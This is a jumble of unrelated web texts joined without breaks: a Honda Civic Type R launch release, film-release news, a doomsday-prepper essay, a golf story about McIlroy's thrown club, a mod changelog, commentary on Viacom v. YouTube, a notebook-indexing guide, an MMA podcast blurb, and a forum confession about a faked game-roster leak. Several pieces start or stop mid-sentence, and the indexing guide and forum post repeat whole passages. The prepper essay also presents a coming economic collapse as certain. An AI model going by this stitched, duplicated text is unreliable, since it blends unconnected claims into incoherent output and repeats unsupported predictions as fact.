Neeson stars as an aging hitman forced to take on his former boss to protect his family. Jaume Collet-Serra directs from Brad Ingelsby’s script.
Currently slotted for March 13 are Disney’s “Cinderella” and Paramount’s “Paranormal Activity: The Ghost Dimension.”Honda officially brings the All-New Civic Type R in the Philippines
July 10, 2017 – Honda Cars Philippines, Inc. (HCPI), Honda’s automobile unit in the Philippines, is proud to announce the availability of the much anticipated All-New Civic Type R. This is the first–ever Civic Type R model to be sold locally. All Honda Car Dealerships will start accepting reservations starting July 11, 2017.
2017 marks the 25th year since the introduction of the very first Honda Type R vehicle globally. For more than two decades, the Type R badge has denoted the highest performance version of its respective model, derived from philosophy of crafting racing-inspired road cars. Honda’s Type R models have always represented the purity of the original concept of minimizing weight while maximizing power, responsiveness, dynamic stability and braking performance, which aims to deliver the most rewarding driving experience, both on the road and on the race track.
Newly engineered from the ground up to deliver the most rewarding driving experience in its segment, the fifth-generation Civic Type R represents the first truly ‘global’ Type R.
Powerful 2.0-liter VTEC Turbo and Remarkable Engine Performance
Powering the All-New Civic Type R is a 2.0-litre VTEC TURBO engine with a maximum power output of 310 PS at 6,500rpm, and peak torque of 400 Nm from 2,500rpm to 4,500rpm. The engine is mated to a 6-speed manual transmission that is further enhanced by a rev match control system which enables the car to sustain maximum power during gearshifts. The rev-matching function can be switched on or off in the user settings for the car, regardless of which driving mode is selected.
All of the power is transmitted to its front wheels through an exceptionally responsive helical limited-slip differential (LSD) that gives the All-New Civic Type R’s strong cornering traction.
The All-New Civic Type R also features a bespoke chassis, suspension, and steering setup for a more responsive handling as well as improved high-speed stability. At the front, the All-New Civic Type R sports a lower-arm-type front MacPherson strut suspension that minimizes torque steer and maximizes handling. While at the rear, a multi-link suspension setup helps the All-New Civic Type R improve its stability when braking as well as reducing the vehicle’s body roll movement when cornering.
The All-New Civic Type R also features a revised four-wheel Adaptive Damper System that delivers superior ride quality and exceptional road performance. The system is incorporated with a three-chamber design upgraded shock absorber units that gives a wider range of variability on damping force in different driving conditions. And to help the driver manage the All-New Civic Type R’s prodigious power, the front brakes are equipped with ventilated and cross-drilled 350mm disc with 4-piston caliper Brembo brake package.
Furthermore, the All-New-Civic Type R’s Dual Pinion Variable-ratio Electric Power-Assisted (EPS) Rack and Pinion Steering carries an individually calibrated setting for each of the three selectable driving modes: +R, Sport, and Comfort. These driving modes give the All-New Civic Type R greater usability. Each driving mode sets the adaptive dampers, steering force, gear shift feel, and throttle response of the car differently to give the driver’s demand in a push of a button. The Vehicle Stability Assist (VSA) system is retuned for +R mode to focus on acceleration and performance, allowing the driver to maximize the car before activation of the VSA.
Aerodynamic Exterior
The exterior of the All-New Civic Type R boasts a comprehensive aerodynamic package. The five-door–
five-seater hatchback carries an aggressive front grille, a Type R wing type spoiler, and Vortex generators at the trailing edge of the roof line.The front and rear bumpers and side skirts also sport a carbon fiber effect and sporty red accent line, which runs around the entire vehicle. The muscular and aggressive body, combined with its aerodynamic package, gives the All-New Civic Type R best-in-class balance between lift and drag, contributing to better high speed stability. The sharp and aggressive front grille is an interpretation of Honda’s family ‘face’, incorporating the signature Honda front full LED headlights with auto leveling and auto on/off that complements each distinctive feature. The All-New Civic Type R is also equipped with a new lightweight aluminum hood with hood scoop to provide higher air intake to the turbo. And to keep the All-New Civic Type R’s massive airflow,three fully-functional tailpipes are positioned at the rear lower center of the car. Main tailpipes on either side deliver exhaust from the engine, while a unique, smaller center tailpipe controls the sonic tone of the engine. Similar to previous Civic Type R models, it is adorned with Honda’s famous red ‘H’ badge. Filling the enlarged wheel arches are 20-inch Berlina Black alloy wheels with 245/30 R20 tires.
With the combination of the 2.0 VTEC TURBO engine, 6-speed manual transmission with rev match control system, bespoke chassis, adaptive suspension, and an aerodynamic exterior, made the All-New Civic Type R set a new benchmark lap time for the front-wheel drive category at Nürburgring Nordschelife last April 3, 2017 with a record breaking time of 7minutes and 43.8seconds.
Sporty, Sleek, and Sophisticated Interior Space
The interior treatment of the All-New Civic Type R models remains unmistakable, as it can be traced 25 years back to the very first Honda with the iconic red badge. The All-New Civic Type R presents a sophisticated, premium ambiance of the standard vehicle cabin with striking suede-effect red and black fabric trim for its Type R spec bucket seats. The steering wheel boasts red leather inserts and hexagonal stitching, while the dashboard panel’s carbon center inlay is surrounded by red pinstripe trim extending into the side door panels.On top of those upgrades, an exclusive Type R serial number plate (unique to every vehicle) is placed near the gear shift lever and a Titanium Type R spec shift knob.
In front of the driver, an instrument display layout provides vivid clarity and highly intuitive user interface. A 7-inch full color Thin Film Transistor (TFT) Type R Spec Instrument Cluster with red illumination includes virtual gauges and switchable section that can display a variety of different function readouts including Driving mode display (+R, Sport, Comfort), LED gearshift indicator light, Turbo boost pressure gauge, Throttle/brake input display, G-Meter, and lap time recorder.
Furthermore, the center console of the All-New Civic Type R features a piano-black finish, following a ‘technology center’ theme. On top of the center console sits a seven-inch touchscreen with advanced display audio and navigation. Control functions for the dual zone automatic air conditioning system and reverse camera display with dynamic guidelines are also integrated on this panel. This panel also offers an enhanced intuitive operation and full smartphone integration with iPhone and iPod connectivity via USB or Bluetooth.
Uncompromised Safety
With the uncompromised power and latest technology of the All-New Civic Type R, driver and passenger’s safety remains a top priority as it is equipped with front and side airbags, side curtain airbags, Vehicle Stability Assist (VSA), Hill Start Assist (HSA), and Anti-Lock Braking System (ABS) with Electronic Brakeforce Distribution (EBD). Other convenience and security features such as Rain sensing front wipers, Walk Away Auto Door Lock, Speed Sensing Auto Door Lock, and Smart Entry System with Push Button Start comes as a standard in the package.
HCPI will be bringing 100 units of the All-New Civic Type R this 2017 at a suggested retail price of Php 2,980,000. It is available in two colors: Championship White and Rallye Red.
As a special treat to the first owners of the All-New Civic Type R in the Philippines, HCPI will be holding an exclusive event once deliveries are completed.
Interested customers may reserve at any of the 36 Honda Car Dealerships nationwide starting July 11, 2017 and deliveries will start in September 2017.1.8k SHARES Share Tweet
All over America, there are millions of Americans that are quietly preparing for doomsday. They are turning spare rooms into long-term food storage pantries, they are planting survival gardens, they are converting their homes over to alternative sources of energy, they are taking self-defense courses and they are stocking up on just about anything you can imagine. They are called “preppers”, and their numbers have absolutely exploded in recent years. In fact, you might be living next door to one and never even realize it. According to a recent Daily Mail article, there are approximately 3 million preppers in the United States today. Others believe that the true number is significantly higher than that. This movement has become so popular that there are now even television shows being done about preppers. The most popular is probably “Doomsday Preppers” on the National Geographic Channel. This movement is still growing and is not going to go away any time soon. In fact, as the world continues to become even more unstable it is likely that a lot more Americans will find themselves becoming preppers in the years ahead.
So what exactly are all these people so concerned about? Exactly why are there millions of Americans that are feverishly preparing for doomsday?
Well, the truth is that you will never find two preppers that are exactly alike. Some are deeply concerned about the potential for natural disasters and believe that we are now entering into a time when there will be catastrophic earth changes. Other preppers believe that terrorism is the most significant threat to our way of life. Killer pandemics, an EMP attack, World War III, martial law, solar megastorms, asteroid strikes and societal chaos are some of the other things that some preppers are worried about.
Of course an economic collapse is one of the biggest concerns for preppers, and without a doubt the U.S. economy is deeply troubled. A collapse of the financial system would change all of our lives permanently.
But it isn’t just preppers that are concerned about these things.
A recent survey conducted by National Geographic asked Americans the following question….
“Which of the following, if any, do you think might happen in the United States in the next 25 years? Please choose all that apply.”
These were the results….
Significant Earthquake 64%
Significant Hurricane 63%
Terrorist Attack 55%
Financial Collapse 51%
Significant Blackout 37%
Pandemic, Such as From a Super-Virus 29%
Nuclear Fallout 14%
None of These 13%
Obviously there are a whole lot of people out there that feel as though we are heading for some really bad stuff.
So if hard times are coming, why not prepare for them?
After all, none of us want to end up like the poor people of New Orleans in the aftermath of Hurricane Katrina. Large numbers of people were herded into the Superdome and food and water ran out really fast. There was rampant looting of stores and people were shooting each other in the streets. It was mass chaos.
The following is what one Australian blogger experienced while staying in the Superdome during Hurricane Katrina….
Last night was horrendous. I heard shouting, and drinks machines being smashed. There’s no sanitation and it’s so smelly. My hair is greasy and I feel a wreck. There are crack alleys among the maze of corridors. The lights are broken in the loos which, as well as being disgusting, have become dangerous, so we now only go as a big group. More people are arriving, and the dome is like a refugee camp. I see two soldiers carrying a corpse and we hear there are more dead in the basement.
As an article in the New York Times from that time period detailed, food and water were in very short supply and those cramped into the Superdome were rapidly becoming impatient….
Desperation was in the air. Danielle Shelby tugged at a reporter’s arm. “I have a handicapped daughter,” she said. “She’s over there with her wheelchair. She’s hot. We don’t have any water. I’m afraid she’s going to have a seizure.” Others crowded around. “I’ve been in the food line twice, and every time I get to the front they tell me they don’t have any left,” said Juanita McFerrin, 80.
Later on in that same article, we are told that there were fights, rapes and at least one suicide in the Superdome during that time….
It got worse. Ms. Rousell recalled hearing a loud bang Tuesday afternoon as the body of a man slapped the concrete at the edge of the football field in a fatal suicidal plunge, after he apparently learned that his home had been destroyed. Others told of fights that broke out in food lines, and of a husband and wife who slugged each other in a wild argument. Several residents said they had heard of children being raped, though it was not clear whether anyone reported such incidents to the authorities, and no officials could be found who could confirm the accounts.
To get an even better idea of what life in New Orleans was like in the aftermath of Hurricane Katrina, just check out this video.
Within just a few days food, water and supplies started pouring into New Orleans and things started slowly getting back to normal, but imagine what things would look like in this country if we had to deal with a national disaster that stretched on for months or even years?
Many preppers are not taking any chances. Many are absolutely determined to be able to take care of their families and friends no matter what the years ahead may bring.
ABC News recently profiled one prepper named Tim Ralston….
Tim Ralston, a married father of two from Arizona, is one such “prepper.” “There’s a lot of different things that could happen,” Ralston said. “For me, I look at prepping as kind of like insurance. You have car insurance, health insurance, life insurance.” Call it Apocalypse insurance. Ralston turned his family’s two-car garage into a staging area. Inside is a trailer, which he keeps packed and ready to go at all times, stockpiles of freeze-dried food, including cartons of canned chicken with a shelf life of 15 years, survival gear, such as a system for purifying polluted water, first aid kits and lots of weapons and ammunition. His son has his own AK-47.
Some preppers are going to the extreme and are spending huge amounts of money on their prepping.
CNN recently profiled one Australian prepper that has spent about $350,000 preparing for doomsday….
Bast has spent about $5,000 on stockpiles of food and water, and $11,000 on equipment including gas cookers, generators, batteries, water purifiers and solar power. He also purchased roughly an acre of land that’s a 75-minute drive from Melbourne and 1,500 feet above sea level (in order to stay high and dry in case of a flood or tsunami). He has built a house there, as well as a bunker to serve as his “safe spot” in the event of an emergency. Together, the land, buildings and bunker have cost him a total of about $330,000. He’s also spent $10,000 on an 8-year old Toyota HiLux pickup truck to drive to his safe spot.
But the truth is that prepping does not have to be expensive.
The key is to start by focusing on the five basics….
1) Food
2) Water
3) Shelter
4) Energy
5) Self-Defense
There are some practical things that just about anyone can do even if you don’t have a lot of money.
For example, when you go to the store try to pick up a few extra items that are on sale and add them to your supplies. If you rotate your food supplies, they won’t go bad.
In addition, just about anyone can plant a garden. Often fruits and vegetables are some of the most expensive items at the grocery store, and so growing a garden can end up saving you a lot of money.
Get educated. There are dozens of prepper websites out there where you can get an education in prepping for free. The following are a few examples of some of the excellent prepper websites that are out there today….
*Survival Blog
*American Preppers Network
*The Survival Mom
*SHTFPlan.com
*Prepper Website
*Survival 4 Christians
*Backdoor Survival
*Off Grid Survival
The truth is that our world is becoming increasingly unstable in a whole bunch of different ways and we all need to learn how to prepare for the difficult years ahead.
As the economy continues to fall apart, America is going to become a very heartless place. You don’t want to be caught in the middle of societal chaos without a plan.
None of us should be relying on the government to save us when things hit the fan. We all saw what happened after Hurricane Katrina. Those that were depending on the government were deeply disappointed.
We should all try to become as independent of the system as we can, because the system is failing. In the years ahead there might not be anybody to help you and your family, so you need to be working hard right now to ensure that you and your family will be taken care of.
Yes, as you may have guessed by now, I am a prepper too. My wife and I moved to an entirely different state and totally changed our lifestyle to prepare for what is coming.
Hopefully this article will inspire many more Americans to prepare for what is coming. A great economic collapse is on the horizon and time is rapidly running out.+1 Share Pin 0 Shares
New here? You may want updates via email or RSS feed. Thanks for visiting!
I'll admit it. I'm a sucker for money psychology studies. And it's not just because I write about money. On a sheer curiosity level, they're fascinating.
But they also serve as a great reminder that money is more about mind than it is about math.
It's interesting to see exactly how our brains work when it |
on Rotten Tomatoes.
“Race” is the true story of Jesse Owens and his bid to become the greatest track-and-field athlete in history. He’s thrust onto the world stage of the 1936 Olympics in Berlin, where he faces off against Adolf Hitler’s vision of Aryan supremacy.
Canadian Stephan James stars as the young American sprinter, after replacing John Boyega, who left to take the role in “Star Wars: The Force Awakens.” Directed by Stephen Hopkins and written by Joe Shrapnel and Anna Waterhouse, the film co-stars Jason Sudeikis, Jeremy Irons, William Hurt and Carice van Houten.
Also Read: Focus Features Moves Up Jesse Owens Drama 'Race' to February 2016
“Race” is the first big-screen portrayal of the record-setting athlete supported by the Owens family, the Jesse Owens Foundation and the Jesse Owens Trust. Solo Film and Trinity Race produced the film. Focus Features acquired U.S. rights for $5 million, and will have it in 2,369 theaters.
It will be interesting to see how it plays in Germany, where it opens on May 1 via SquareOne Entertainment.DORAL, Fla. -- Rory McIlroy got his 3-iron back Sunday afternoon, courtesy of Doral owner Donald Trump.
And he used it to hit another shot in the water, then feigned throwing the club in after it.
McIlroy hit his third in the water at the 18th, leading to a double-bogey 6 and a score of 72. He still tied for 9th.
Trump, the financial mogul, who has been very visible this week at the WGC-Cadillac Championship, had a scuba diver retrieve the club Saturday from the pond near the eighth hole, where McIlroy had tossed it in anger during Friday's second round.
"It's unlucky to have only 13 clubs," Trump told McIlroy as he was warming up on the driving range before the final round.
The two chatted for a few moments, and McIlroy put the club in his bag. He had said Saturday that he played the third round without a replacement club but that he would use it Sunday "if needed."
Trump said afterward that he will be getting the club back after the round.
"We'll either donate it to charity or mount it," Trump said. "But I'd really like to mount it [in the clubhouse]. That was a beautiful moment. He did it [threw the club] with such elegance. We'll do one or the other.
"He's a great kid, a great player. Anything he does is news. It showed a human touch. He's a fantastic person."
Trump, 68, is an avid golfer and has been big in the purchase of high-end golf properties, including Trump National Doral and the Turnberry Resort in Scotland, which has hosted four Open Championships.
Somebody wondered how many clubs he's thrown and Trump said: "Don't ask that question. Too many. But none in that lake."
Although the setup of the Blue Monster course is out of his hands and left to PGA Tour officials, Trump acknowledged that he wasn't pleased when J.B. Holmes shot an opening-round 62 -- even though he bettered the next score by four shots and the course average for the day by more than 11.
"It was a great round of golf, but someday they are going to set it up really, really hard just to see what happens," Trump said.
McIlroy is headed to Augusta National this week to play a practice round with his father, Gerry, and New England Patriots quarterback Tom Brady. He is scheduled to play the Arnold Palmer Invitational beginning March 19.
"Game's just not quite there," he said. "I've got a week off now to try and work on it a little bit. Pretty disappointed with how I played overall. I felt it was a little better again today for the most part. Bit of a disappointing finish. Just not quite 100 percent."As always, don't forget to backup your world before updating!
Requires CyclopsCore version 0.11.0 or higher.
Additions:
* Add Mechanical Squeezer, an advanced and automatable version of the Squeezer
* Add Mechanical Drying Basin, an advanced and automatable version of the Drying Basin
* Add channels, this is particularly useful for Integrated Tunnels
* Add network aspect for reading the network consumption rate
* Add TPS aspect to world and extradimensional readers
* Add auto-supply mode to batteries
This allows you to automatically fill held energy containers.
* Add operators to read items, fluids and energy from entities, Closes #403
* Add redstone pulse writing aspects, Closes #418
* Add part setting for changing the effective target side, #278
* Add index_of, index_of_regex, regex_groups, replace, replace_regex, matches_predicate.
* Add Signals compat
* Add molten metal convenience recipes to Drying Basin
* Add an "Is Minecart" operator
* Add an entity and machine writer
Like the inventory writer, these will only be useful with cross-mod compats
* Add an offset time to the redstone clock
This lets you have, for example, 4 redstone clocks, each one on for a different
1/4 of each second. Without this, they'd all be on for the same 1/4 of each
second. This partially solves #317; it will fully solve it once #197 is solved.
* Add a recipe to squeeze menril resin out of planks
* Add menril doors
* Allow squeezing of poisonous materials
Changes:
* Balance default energy capacity of batteries
This multiplies the default capacity by a factor of 10, in order to have a better balance compared to other RF storage mods.
* Make battery transfer limit in relation to its capacity, #377
* Show outline of variables in variable slots
* Show battery energy level toast when right clicking with an empty hand
* Add warning about certain parts not having aspects, Closes #214
* Give 3 omni-directional connectors instead of 2 when consuming one
* Don't show empty fluid squeezer slots in infobook
* Modify several Squeezer recipe outputs to be probabilistic
Fixes:
* Fix missing texture on the bottom of the Materializer
* Fix part settings button hovering appearing incorrectly, Closes #453
* Fix crash due to casting ANY to NUMBER
* Fix JEI recipe clicking in LP overwriting last inventory slot, Closes CyclopsMC/IntegratedDynamics#441
* Fix incorrect JEI LP recipe fill in target
* Fix machine deactivation after finishing each recipeA federal judge handed Google/YouTube another victory yesterday in the long-running Viacom v. YouTube lawsuit. The same judge had ruled decisively against Viacom back in 2010, finding that YouTube was protected from copyright infringement liability for the activities of its users by the safe harbors of Section 512 of the Digital Millennium Copyright Act.
Just over a year ago, the Second Circuit Court of Appeals revived the entertainment giant’s lawsuit – but simultaneously eviscerated most of Viacom's legal theories. The appellate court found that YouTube was protected from liability except where the company actually knew of (or was willfully blind to) specific instances of infringement of material at issue in the case, or facts or circumstances indicating such specific infringement. In a bit of a technical point, the court also said it was unclear whether syndicating clips might be the kind of activity contemplated by the safe harbors. Finally, the court suggested that YouTube might be liable if it had exerted “substantial influence” on the infringing activities of users. The court then sent the case back to the district court for a determination on the unresolved issues.
That determination has been made and it is a resounding win for YouTube.
With respect to YouTube's knowledge of infringement, the district court asked the parties to provide evidence of YouTube's knowledge with respect to the clips at issue. YouTube submitted a list of 63,060 clips, said it never received notice that those clips were infringing, and challenged Viacom to explain how notice was given.
Viacom couldn't meet that burden, so it tried another approach. It claimed that since the DMCA safe harbors offer an "affirmative defense" to an infringement allegation (meaning, procedurally, a defendant would normally invoke them in response to a lawsuit or other threat), and it is normally a defendant's burden to prove that kind of defense, YouTube had to prove its lack of knowledge.
The court dismissed the Viacom's legal theory as "extravagant," "ingenious," and "anachronistic." Under the DMCA scheme, the copyright owner has the burden of identifying what is infringing, and Viacom had offered no legal basis to shift that burden to YouTube. Score 1 for YouTube.
Alternatively, Viacom argued that YouTube had instead been willfully blind to the infringing activity. But Viacom simply couldn't muster the evidence for this theory either:
The examples proffered by [Viacom] (to which they claim YouTube was willful blind) give at most information that infringements were occurring with particular works, and occasional indications of promising areas to locate and remove them. The specific locations of infringements are not supplied: at most, an area of search is identified, YouTube is left to find the infringing clip.
So that left yet another theory: that YouTube lost safe harbor protection because it had financially benefitted from conduct it had the right and ability to control. To prove that, Viacom had to show YouTube had influenced or participated in infringing activity. Viacom couldn't.
There is no evidence that that YouTube induced its users to submit infringing videos, provided its users with detailed instructions about what content to upload or edited their content, prescreened submissions for quality, steered users to infringing videos, or otherwise interacted with infringing users to a point where it might be said to participated in their infringing activity.
The court had a bit more clean-up to do regarding a narrow question of whether "syndicating" clips fell within the protections of the DMCA safe harbors. The court concluded that it did.
Game over for Viacom, at least for now.
Because here's the bad news: the legacy content industries just don't know when to say when. Witness Universal's ill-advised decision to petition the Ninth Circuit to revisit (again) its decision in another case concerning the DMCA safe harbors, UMG v. Veoh. Viacom will doubtless appeal this ruling, dragging both parties back to the Second Circuit. Let's hope that court will finally put paid to this litigation. It's time for everyone to move on and invest in new and viable business models rather than legal fees.
Update: Viacom has said that it will appeal. Guess the company is still more interested in litigating than innovating.Contents
Why This Article?
One of the biggest advantage of electronic documents has always been that they’re easy to search. One of the biggest advantage of electronic documents has always been that they’re easy to search. Good ol’ Ctrl-F has probably saved millions of hours since its invention. But what if you’d rather have something on paper, but you still need to be able to search it? I don’t have a keyboard and a little display in the front of my notebooks, but I do have an index, and in a large number of cases it works nearly as well. The index seems like a lost art nowadays with so many references moving online. Maybe that’s not so surprising: making a generally good index is quite difficult and historically has been a profession, and there’s actually an organization called the American Society of Indexers. But if you just want to help yourself find stuff when you put it away in your notebook or binder, it couldn’t be easier to start an index. In fact, you’re the best-qualified person to make an index for yourself, because you know how you relate ideas way better than anyone else. I’ve found a surprising lack of resources on the Web relating to this idea, so I’m writing my own. While I’ve designed this guide for notebooks because that’s how I use it, most of the techniques should apply to binders as well, or maybe even filing systems with a little bit of adaptation. (As a side note, the plural of index as used in this article is indexes. Indices is a more Latin form nowadays used only in mathematical contexts.)
Examples
You might prefer to look at these once you’ve read some of this guide, but if I put them at the end you might not know I had them here until you finished. I’ll refer to them later on. (Click on an image to enlarge it.) You might prefer to look at these once you’ve read some of this guide, but if I put them at the end you might not know I had them here until you finished. I’ll refer to them later on. (Click on an image to enlarge it.)
Influences on This Technique
What got me interested in making my own indexes in the first place was an article by Lion Kimbro in the book Mindhacker, as previously mentioned way down in the middle of What got me interested in making my own indexes in the first place was an article by Lion Kimbro in the book Mindhacker, as previously mentioned way down in the middle of this article. He also wrote a book, How to Make a Complete Map of Every Thought You Think, which gave me a few more ideas. Many of the techniques are borrowed from one or both of these books, but I’ve added some of my own experience and provided a bit more description. My favorite idea from there, and one that I’ll repeat several times here, is this: “There are no binder police.” (I’ll say notebook for better consistency with this article.) It’s great to look at other people’s techniques and learn their rules. It’s also great to make up your own rules. Organization makes things more consistent and more useful. But sometimes stepping outside the lines is even better, and here, if you do, nobody is going to tell you you did something wrong. Don’t wonder whether you can draw an arrow in your index if I didn’t tell you to. Do it! Here’s a secret: if you like, you can even do something “wrong” just because you can. It feels pretty good sometimes.
What an Index is Not
An index, as described in this article, is not a sequential list of the contents of your notebook. An index, as described in this article, is not a sequential list of the contents of your notebook. This article talks about the indexes the author uses, which consist of writing a page number next to the title of an entry with no particular order. While I don’t doubt this works for the author, personally I wouldn’t call it an index—it’s much more like a traditional book’s table of contents than an index. The problem with that approach, at least for me, is that, while it’s a little bit easier to create, you have to scan the entire thing to find what you’re looking for, which takes away a good part of the efficiency (and, frankly, the fun) of using an index in the first place. An index is not a list of titles. You want to extract words or concepts from your content and provide multiple ways to access it, because that’s the way your brain works. An index is not an exhaustive list of every possible word you might relate to a page in your notebook. Don’t hesitate to add useful keywords to the index, but only add ones you honestly think you might use to get back to that point. Finally, and most importantly, even after those rules, an index is not something that gets created only according to rules that are set in stone. Remember, there are no notebook police. If you want to write a note next to one of your entries, do it. If you want to flip the order of two entries, draw a big arrow on the page. If you want to add something that’s not even in this notebook, do it!
Numbering Your Pages
This is both a boring topic and a boring task, but it’s a topic that cannot be avoided. If you don’t have any page numbers, you can’t have an index. Unless you’re really lucky, your notebook probably won’t come with page numbers in it, and if you’re using a binder and loose-leaf, it definitely won’t. This is both a boring topic and a boring task, but it’s a topic that cannot be avoided. If you don’t have any page numbers, you can’t have an index. Unless you’re really lucky, your notebook probably won’t come with page numbers in it, and if you’re using a binder and loose-leaf, it definitely won’t. If you’re going to use your notebook completely linearly, from front to back, you can get away with numbering pages as you use them. I personally prefer to go ahead and do it all at the beginning anyway even though it’s a boring job just because I’d rather not deal with it later, but you may feel differently. If you’re splitting the book into multiple sections or using some other organizational system, though, you’re going to have to bite the bullet and number every page at the beginning.You can get lazy if you like and only number every other page (either numbering with only odd numbers on the right side or using every number and using.5’s for the left side). However, if you’re picky like me, you’ll probably want to number all of them. If you do go for numbering all of them, number all the right-hand or left-hand pages first, then go back and do the others—it’s much faster since you don’t have to move your writing hand back and forth. Update 2013/06/28: There’s one other option, sometimes called the “quadrant method.” See the appropriately named section on this Moleskine/GTD fan page. In any case, make sure you’re turning the pages carefully so you don’t skip any accidentally. If you do miss a page, that’s not the end of the world either—the notebook police aren’t going to fine you for being clumsy. Just number the pages in between with decimals or fractions (I have at least one notebook that goes 86 – 86⅓ – 86⅔ – 87). And if you accidentally skip a number, you’ll just be missing a page number—it doesn’t matter. If you’re picky and paranoid about screwing up the numbering, you can do 20–50 pages on one side, then go backwards doing the facing pages, checking your work as you go along. That way you’ll catch it easier and have fewer pages to correct if you decide to change them. You can put your page numbers anywhere on the page you like. Personally, I’ve gotten used to using the outside bottom corners, but there is not even a guideline for this, much less a rule. If you’re using a binder, you have the ability to add pages in the middle of already existing pages. You can do whatever you like for numbering added pages, but I recommend using decimals between the existing pages. So if you insert a sheet between page 24 and page 25, number the front side 24.3 and the back 24.7. If you later add something between 24.7 and 25, number it 24.8 and 24.9, and so on. If you prefer integers, you can start by numbering by tens (if you’re old and geeky enough to remember programming in BASIC, you’ll be familiar with this technique). With a binder, you can’t number only one side of the pages, because if you insert a page in the middle later, one of the pages will suddenly have a different (implied) number. However, if you trust yourself to remember to add the missing number every time you add a page in the middle, you might be able to get away with it.After a weekend without any mixed martial arts action, it's back to business and joining Jim on his podcast this week is the ONE Championship atomweight world champion, Angela Lee.
Lee last competed back in May, 2016 when she became the youngest ever world champion in MMA history. On the podcast, Lee reveals what it was like to realize her dream in Singapore last year and what her life has been like since becoming a massive star in the Asian region.
She the previews her first title defense against Jennifer Huang coming up in March and then talks about what she thinks lies ahead in her future and whether she would ever contemplate moving up a weight division to try and become the first ever double-weight world champion in the women's MMA history.
If you've not done so yet, subscribe to the 'The Skinny G Podcast' and the rest of the Flocombat SoundCloud channel to be notified when new episodes come out each and every week. If you have any feedback for Jim or the rest of the team you can find them at @MMA_Jim or @Flocombat on Twitter and wider social media channels.User Info: CapnMuffin CapnMuffin 4 years ago #1
First of all, let's get the proof out of the way.
http://i.imgur.com/TfiGC6O.png
I threw this together in less than an hour. At first I was just making a fancy new personal roster to share (with 2 locked spots for characters I haven't decided on yet). But I liked how the locks turned out so much that I began to wonder what would happen if I snapped some pictures of it and tossed it out onto the internet.
Now when creating this supposed leak I had a few reasons, least of which was just "for the lulz".
1) First of all, I wanted everyone to have a fun experience. By locking a majority of the characters and spacing them in such a way I didn't just create a leak... I created an interactive one. My leak didn't just say, "Look, this character is in." It said, "There's probably this many characters... who do you think they are?" I believe an element of mystery and guess work makes the best leak. This lead to a big change in how people approached their rosters. I think the best thing is how a lot of people liked the new ones too and personally I enjoyed seeing how people got creative with it. Even though this is fake, I still encourage you to think out of the box when it comes to Smash's roster. With that said it was really cool to see the community come together in a (mostly) positive way and pass some time while we wait for E3.
2) I wanted to show how quick and easy it can be to create a leak. That everyone should approach leaks with a veil of skepticism but open mindedness too. I saw some interesting things happen in this regard. Some people were hyper-believers... they latched on and ran with it. Others were hyper-skeptics... they immediately lashed out at it in a negative way. And then still others fell into various spots in the spectrum... whether it was hopeful yet critical analyzing down to the pixels, or (like me) just watching things unfold and having fun. What surprised me most though was how deep the debate got. Sure, I planted some clues in my pictures... but people were finding things I never thought of (props to this user on Smash Boards who figured out the fonts used). And just when I thought people were convinced it was fake a hyper-believer would find a way to refute the debunk attempt that I never would have thought possible (Example: The capital WII FIT being countered with capital MR GAME & WATCH... that blew my mind).
3) Along with #2, I wanted to see how increasing levels of specific and strange information would affect the leak and the skeptics/believers. Enter strangeness level 1... "Y". Followed by strangeness level 2..."Creepy Ridley". I admit the whole "Y" thing was mostly for giggles, but I honestly wanted to see how this would change peoples' perspectives once "new information" was added to an otherwise "old information" leak. I kept an air of mystery by leaving room for an Anthony option. At first there was not much change. Skeptics immediately took the stance of "ill intent from the photo taker" which quickly changed to "ill intent by an image editor" once discrepancies in pixels were found. An intriguing back story to the leak seemed to unfold here, that I in no way predicted. Suddenly there were multiple people involved. One apparently leaked two pictures while others were copy-catting or editing in their own "leaks". I assure you, I am behind every picture except, as far as I know, the one with Pac-Man... that was a copy-cat. Another weird thing I noticed is how some people came forward and admitted to this leak. I'm not sure what your motives are, so if you want to explain I'm listening...
(MORE TO COME: DO NOT TYPE YET) 3DS Friend Code >> 0860-3930-2170
X-Box Gamer Tag >> Capn Muffin I know the whole CSS thing is pretty old news by now and pretty much debunked, but I wanted to come clean to give everyone closure.First of all, let's get the proof out of the way.I threw this together in less than an hour. At first I was just making a fancy new personal roster to share (with 2 locked spots for characters I haven't decided on yet). But I liked how the locks turned out so much that I began to wonder what would happen if I snapped some pictures of it and tossed it out onto the internet.Now when creating this supposed leak I had a few reasons, least of which was just "for the lulz".1) First of all, I wanted everyone to have a fun experience. By locking a majority of the characters and spacing them in such a way I didn't just create a leak... I created an interactive one. My leak didn't just say, "Look, this character is in." It said, "There's probably this many characters... who do you think they are?" I believe an element of mystery and guess work makes the best leak. This lead to a big change in how people approached their rosters. I think the best thing is how a lot of people liked the new ones too and personally I enjoyed seeing how people got creative with it. Even though this is fake, I still encourage you to think out of the box when it comes to Smash's roster. With that said it was really cool to see the community come together in a (mostly) positive way and pass some time while we wait for E3.2) I wanted to show how quick and easy it can be to create a leak. That everyone should approach leaks with a veil of skepticism but open mindedness too. I saw some interesting things happen in this regard. Some people were hyper-believers... they latched on and ran with it. Others were hyper-skeptics... they immediately lashed out at it in a negative way. And then still others fell into various spots in the spectrum... whether it was hopeful yet critical analyzing down to the pixels, or (like me) just watching things unfold and having fun. What surprised me most though was how deep the debate got. Sure, I planted some clues in my pictures... but people were finding things I never thought of (props to this user on Smash Boards who figured out the fonts used). And just when I thought people were convinced it was fake a hyper-believer would find a way to refute the debunk attempt that I never would have thought possible (Example: The capital WII FIT being countered with capital MR GAME & WATCH... that blew my mind).3) Along with #2, I wanted to see how increasing levels of specific and strange information would affect the leak and the skeptics/believers. Enter strangeness level 1... "Y". Followed by strangeness level 2..."Creepy Ridley". I admit the whole "Y" thing was mostly for giggles, but I honestly wanted to see how this would change peoples' perspectives once "new information" was added to an otherwise "old information" leak. I kept an air of mystery by leaving room for an Anthony option. At first there was not much change. Skeptics immediately took the stance of "ill intent from the photo taker" which quickly changed to "ill intent by an image editor" once discrepancies in pixels were found. An intriguing back story to the leak seemed to unfold here, that I in no way predicted. Suddenly there were multiple people involved. One apparently leaked two pictures while others were copy-catting or editing in their own "leaks". I assure you, I am behind every picture except, as far as I know, the one with Pac-Man... that was a copy-cat. Another weird thing I noticed is how some people came forward and admitted to this leak. I'm not sure what your motives are, so if you want to explain I'm listening...It could well be a perfect script for a Bollywood romance block buster, but for Phoolchand it was sort of a heart break when he performed the marriage and `vidai' of his wife with a smile on his face.
Also read: In Modi's Varanasi, lover's head tonsured.
